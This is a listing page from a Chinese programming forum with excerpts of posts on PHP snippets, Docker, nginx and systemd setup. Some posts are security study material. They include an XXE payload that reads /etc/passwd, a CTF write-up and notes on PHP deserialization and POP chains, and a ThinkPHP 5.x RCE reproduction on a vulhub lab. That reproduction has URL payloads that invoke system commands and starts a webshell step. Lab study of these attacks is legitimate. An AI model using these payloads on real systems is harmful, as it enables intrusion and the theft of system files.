各种编程技术
子版块
-
72文章73主题
-
22文章23主题
-
16文章17主题
-
23文章26主题
- String常用方法
-
由
侠客756,
-
17文章19主题
-
13文章18主题
1,773个主题在此版块
-
- 1 篇回复
- 1k 次查看
思路:遍历二维数组,合并两个二维数组的值,赋值给新数组 function mergeArray($arr1,$arr2){ $newArr = []; foreach($arr1 as $v1){ foreach ($arr2 as $v2) { $newArr[] = array_merge($v1,$v2); } } return $newArr; }
XenoG的最后回复, -
- 0 篇回复
- 945 次查看
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root> payload
HACK1949的最后回复, -
- 0 篇回复
- 944 次查看
首先打开题目,一眼看到关键 可以通过工具搜查出来备份文件,博主使用御剑不知怎么的没扫出来,手动验证www.zip或者index.php.bak 然后下载压缩包,解压得到 浏览三个源码文件 <?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; …
HACK1949的最后回复, -
- 0 篇回复
- 945 次查看
function arraySort($arr, $keys, $type = 'asc') {//二维按照某个字段对数组排序 $keysvalue = $new_array = array(); foreach ($arr as $k => $v){ $keysvalue[$k] = $v[$keys]; } $type == 'asc' ? asort($keysvalue) : arsort($keysvalue); reset($keysvalue); foreach ($keysvalue as $k => $v) { $new_array[$k] = $arr[$k]; } return $new_array; }
HACK1949的最后回复, -
第一周 学习php反序列化漏洞 要求:理解php反序列化原理 了解常用魔术方法的触发条件 能够自己构造反序列链 学习pop链的构造和一些常见的反序列化姿势 最少做三道相关的题目(难度不限),并写出wp Php是一种运行在服务器端的HTML脚本编程语言。该语言可以让web开发人员快速的书写动态生成的网页。 1. 序列化和反序列化是什么 序列化:变量转换为可保存或传输的字符串的过程; 反序列化:把序列化的字符串再转化成原来的变量使用 作用:可轻松地存储和传输数据,使程序更具维护性、 序列化是为了方便于数据的传输,形象化理解就像物流的过程。你想把一张桌子通过从a–>b,一张桌子肯定不好运输,因此需要把它拆开(这个拆的过程就是序列化);等到达了b需要把他组装起来(装的过程就是反序列化)。 Php进行序列化的目的是保存一个对象,方便以后重用。 2. 为什么会有序列化 序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构 3. 魔术方法 魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载。魔术方法是一种特殊的方法,像函数但又不是,当对对象执行某些操作时会覆盖 PHP 的默认操作。以'__'+字符串的一些默认方法,这些方法对后面会讲的序列化与反序列化漏洞起到了非常大的作用 魔术方法的调用是在该类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因…
HACK1949的最后回复, -
- 0 篇回复
- 936 次查看
搭建方式 使用宝塔面板搭建,操作简单,但是安装的东西多,宝塔会自己控制防火墙开放端口 使用源码手动安装 安装复杂 使用docker安装 简单快捷 最终选择使用dokcer容器安装 wordpress修改站点地址无法访问 修改数据库下的表wp_options siteurl http://43.138.164.99 yes home http://43.138.164.99 yes 无法传大文件 修改WordPress根目录下的.htaccess文件,加入以下代码: php_value upload_max_filesize 200M php_value post_max_size 200M php_value max_execution_time 300 php_value max_input_time 300
HACK1949的最后回复, -
·序列化与反序列化 类型 过程 序列化 对象—> 字符串 反序列化 字符串—>对象 字符串包括,属性名,属性值,属性类型和该对象对应的类名。 序列化函数serialize(),反序列化函数unserialize()。(O代表对象;A代表数组) ·_sleep() serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,__sleep()方法会先被调用,然后才执行序列化操作 序列化的结果只有_sleep()中的两个属性 ·_wakeup() unserialize()会检查类中是否存在一个__wakeup魔术方法。如果存在则会先调用__wakeup()方法,再进行序列化 当序列化字符串中表示对象属性个数的数字值大于真实类中属性的个数时就会跳过__wakeup的执行, ·访问控制修饰符 根据访问控制修饰符的不同序列化后的属性长度和属性值会有所不同 public(公有) protected(受保护) //被序列化的时候属性值会变成 %00*%00属性名 private(私有的) //被序列化的时候属性值会变成%00类名%00属性名 注意protected属性和private属性的长度,%00为空白符,空字符也有长度,一个空字符长度为 1 ·反序列化POP链 pop又称之为面向属性编程(Property-Oriented Programi…
HACK1949的最后回复, -
在开启PHP是要使用libssl.so.1.0. 0或者libcrypto.so.1.0.0,但由于他们大多没有1.0.0版本,我是基于链接解决的,以libcrypto.so.1.0.0为例 1.首先查看一下当前系统文件里,libcrypto.so都有哪些版本 ll /usr/lib64/libcrypto.so.* 2.属实没有这个libcrypto.so.1.0.0,但是有这个/usr/lib64/libcrypto.so.1.0.2k,于是创建连接 sudo ln -s /usr/lib64/libcrypto.so.1.0.2k /usr/lib64/libcrypto.so.1.0.0
HACK1949的最后回复, -
- 0 篇回复
- 939 次查看
php测试程序: echo "<?php echo '<p>Hello World</p>'; ?>" > /data/server/nginx/html/test.php 然后浏览器输入localhost/hest.php,报错file not found. 最终解决途径:关闭selinux 两种关闭方法: 1.临时关闭 setenforce 0 2.从配置里关闭,需要重启 vim /etc/sysconfig/selinux 改写文件内容如下 参考链接:https://blog.csdn.net/weixin_35797963/article/details/116251518
HACK1949的最后回复, -
- 0 篇回复
- 957 次查看
Docker-Compose 容器集群的快速编排 目录 Docker-Compose 容器集群的快速编排 Docker-compose 简介 compose 部署 Docker Compose 环境安装 YAML 文件格式及编写注意事项 Docker Compose配置常用字段 Docker compose 常用命令 编写Docker Compose搭建lnmp论坛 部署前准备 配置nginx 编写dockerfile文件 配置mysql 准备配置文件 编写dockerfile文件 配置php Docker-compose 简介 Docker-Compose项目是Docker官方的开源项目,负责实现对Docker容器集群的快速编排。 Docker-Compose将所管理的容器分为三层,分别是 工程(project),服务(service)以及容器(container)。Docker-Compose运行目录下的所有文件(docker-compose.yml,extends文件或环境变量文件等)组成一个工程,若无特殊指定工程名即为当前目录名。一个工程当中可包含多个服务,每个服务中定义了容器运行的镜像、参数、依赖。一个服务当中可包括多个容器实例,Docker-Compose并没有解决负载均衡的问题,因此需要借助其它工具实现服务发现及负载均衡,比如 Consul。 Docker-Compose的工程配置文件默认为docker-compose.yml,可通过环境变量COMPOSE_FILE或-f参数自定义配置文件,其定义了多个有依赖…
HACK1949的最后回复, -
- 0 篇回复
- 937 次查看
获取周一和周日的日期 $Monday = strtotime('today +' . (8 - date('w')) . 'day -1second'); $Sunday = strtotime('today -' . (date('w') - 1) . 'day'); dump(date('m-d H:i:s', $Monday)); // string(14) "07-24 23:59:59" dump(date('m-d H:i:s', $Sunday)); // string(14) "07-18 00:00:00"
HACK1949的最后回复, -
- 0 篇回复
- 950 次查看
php 中$_SERVER[‘QUERY_STRING‘]函数的介绍 • 简介php中的$_SERVER函数 $_SERVER是 预定义变量之一 ,可以直接使用,它是一个包含脚本位置信息(脚本路径)、请求页面的通信协议名称和版本(“HTTP/1.0”)等等信息的数组。 $_SERVER获取当前服务器信息。做题过程中遇到的四个变量的区分进行一个简单的介绍 ♦1. $_SERVER["QUERY_STRING"] #查询(query)的字符串 ♦2.$_SERVER["REQUEST_URI"] #访问此页面所需的URI ♦3.$_SERVER["SCRIPT_NAME"] #包含当前脚本的路径 ♦4.$_SERVER["PHP_SELF"]。 #当前执行的叫脚本的文件名 •示例: 1,http://www.boke.com/ 结果: $_SERVER["QUERY_STRING"] = “” $_SERVER["REQUEST_URI"] = “/” $_SERVER["SCRIPT_NAME"] = “/index.php” $_SERVER["PHP_SELF"] = “/index.php” 2,http://www.boke.com/scr.php/?a=bbb(附带查询) 结果: $_SERVER["QUERY_STRING"] = “a=bbb″ $_SERVER["REQUEST_UR…
HACK1949的最后回复, -
- 0 篇回复
- 936 次查看
[MRCTF2020]你传你
HACK1949的最后回复, -
- 0 篇回复
- 961 次查看
1、找到php.ini,一般在/usr/local/etc/php/php.ini中,通过copy复制到宿主机之后去掉php_mysql.so前面的分号后上传 2、进入容器扩展安装目录/usr/local/bin 3、执行命令安装扩展 ./docker-php-ext-install mysql ./docker-php-ext-install mysqli 4、重启容器 docker restart myphp-fpm
HACK1949的最后回复, -
- 0 篇回复
- 966 次查看
创建一个文件夹,里面随便方视频文件即可 列如文件夹名字是assets代码如下 <? $handler = opendir('./assets/mp4/');//当前目录中的文件夹下的文件夹 需要获取的目录文件夹名字 while( ($filename = readdir($handler)) !== false ) { if($filename != "." && $filename != ".."){ //echo $filename."<br>"; $tmp[] = $filename; } } closedir($handler); //print_r($tmp); $arr=array_rand($tmp); $video='./assets/mp4/'.$tmp[$arr]; header("location:$video"); ?> 创建一个视频HTML小电视观看建议横屏视频 html代码 <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>便携小电视 | 小k</title> <!--为搜索引擎定义关键词--> <meta name="keywords" conten…
HACK1949的最后回复, -
- 0 篇回复
- 945 次查看
一、ThinkPHP介绍 轻量级框架,内部OOP和面向过程代码都存在,是国人自己开发的框架。 ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式 二、漏洞描述 Thinkphp5.0版本中没有对路由中的控制器进行严格过滤,导致在没有开启强制路由的情况下可以执行系统命令。 三、漏洞影响版本 ThinkPHP 5.0.x < 5.0.23 ThinkPHP 5.1.x < 5.1.31 四、漏洞复现 1、搭建环境 这里使用docker直接启动vulhub靶场 docker-compose up -d 目录:thinkphp/5-rce 2、访问页面 http://your-ip:8080 3、代码执行 /index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100 /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd 获取phpinfo信息 执行系统命令 4、写入一句话 /index.php?s…
HACK1949的最后回复, -
- 0 篇回复
- 928 次查看
在做PHP开发,查询出来的并集通常会需要做根据某一个键来去重,下面是具体方法: // 去重 public function duplicate($list,$key) { $result = []; $keys = []; foreach($list as $item){ if(!in_array($item[$key],$keys)){ array_push($result,$item); array_push($keys,$item[$key]); } } return $result; } 使用: $this->duplicate($group,'group'); 处理根据字段去重的优化操作是在查询的时候,可以根据这个键来做【分组】即可完美避免这个问题。
HACK1949的最后回复, -
- 0 篇回复
- 948 次查看
(1)安装nginx、php、php-fpm (注:从php5之后安装php程序,php-fpm自动在php包内。无需单独安装php-fpm插件) (2) 当网页需要动态解析时,nginx服务通过fastcgi接口解析php程序,并把结果返回到页面。动态解析配置文件默认是etc/nginx/site-available下的default文件 (3) 配置default (4)在对应配置位,添加php-fpm程序的位置。fastcgi_pass unix:/var/run/php/php7.4-fpm.sock 本例安装的是php7.4 (5) 配置结束,重启nginx /USR/SBIN/NGINX -T && /USR/SBIN/NGINX -S RELOAD
HACK1949的最后回复, -
- 0 篇回复
- 942 次查看
PHP资产管理系统,适用于IT办公行业固定资产及设备管理源码,基于layuimini开源框架,需要的联系我,标价即实价。 可本地安装或局域网联机使用,也可服务器联网使用。 需求环境PHP+MYSQL部署简单,带部署文档。 YID:7925673019707696http://mooru.cn/cimgblog/715.png夫唯不争L
HACK1949的最后回复, -
- 0 篇回复
- 930 次查看
[Unit] Description=workerman守护进程 [Service] WorkingDirectory=/var/workerman ExecStart=php /var/workerman/start.php start -d ExecRestart=php /var/workerman/start.php restart -d ExecStop=php /var/workerman/start.php stop # 程序崩溃后自动启动 Restart=on-failure RestartSec=10s # 用户角色 User=root # The default value is 90 seconds for most distributions. TimeoutStopSec=90 [Install] WantedBy=multi-user.target 参考 1 https://blog.csdn.net/bian2021/article/details/123919062 2 http://www.jinbuguo.com/systemd/systemd.service.html 3 https://blog.csdn.net/lidahanga_/article/details/111672529 4 http://www.ruanyifeng.com/blog/2016/03/systemd-tutorial-commands.html
HACK1949的最后回复,